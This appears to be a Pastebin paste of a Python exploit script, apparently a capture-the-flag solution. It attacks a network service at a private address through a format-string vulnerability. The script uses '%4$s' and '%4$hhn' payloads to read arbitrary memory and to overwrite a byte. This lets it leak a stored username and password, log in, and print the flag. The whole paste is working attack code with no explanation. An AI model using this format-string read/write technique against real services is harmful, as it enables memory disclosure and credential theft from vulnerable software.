Advertisement
Guest User

Untitled

a guest
May 18th, 2016
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.27 KB | None | 0 0
  1. import telnetlib
  2. import struct
  3. import socket
  4.  
  5. host = '10.0.2.3'
  6. port = 1111
  7.  
  8. def recv_until(sock, term):
  9. b = ''
  10. while term not in b:
  11. b += sock.recv(1)
  12. return b
  13.  
  14. def read_string(sock, addr):
  15. recv_until(sock, 'option: ')
  16. sock.send('1\n')
  17. sock.send(struct.pack('<I', addr) + '%4$s'+'\n')
  18. return recv_until(sock, '\n')
  19.  
  20. def write_symbol(sock, addr, symbol):
  21. recv_until(sock, 'option: ')
  22. sock.send('1\n')
  23. format_str = '%0' + str(symbol-4) + 'd'
  24. sock.send(struct.pack('<I', addr) + format_str + '%4$hhn'+'\n')
  25. return recv_until(sock, '\n')
  26.  
  27. def login(sock, username, password):
  28. recv_until(sock, 'option: ')
  29. sock.send('10\n')
  30. recv_until(sock, 'Username: ')
  31. sock.send(username + '\n')
  32. recv_until(sock, 'Password: ')
  33. sock.send(password + '\n')
  34.  
  35.  
  36.  
  37. sock = socket.create_connection((host, port))
  38. sock.settimeout(5)
  39. write_symbol(sock, 0x0804A0FF, ord('@'))
  40.  
  41. login(sock,'1','2')
  42.  
  43. #say hello to user
  44. username = read_string(sock, 0x0804A080)[4:][:-1]
  45. print('username = %r' % username)
  46. # Say hello to Password
  47. password = read_string(sock, 0x0804A0FF)[5:][:-1]
  48. print('password = %r' % password)
  49.  
  50. # Login
  51. login(sock, username, password)
  52.  
  53. # Give a Kiss To The Flag
  54. flag = read_string(sock, 0x0804A185)
  55. print('flag = %r' % flag)
  56.  
  57.  
  58. #t = telnetlib.Telnet()
  59. #t.sock = sock
  60. #t.interact()
  61.  
  62.  
  63. sock.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement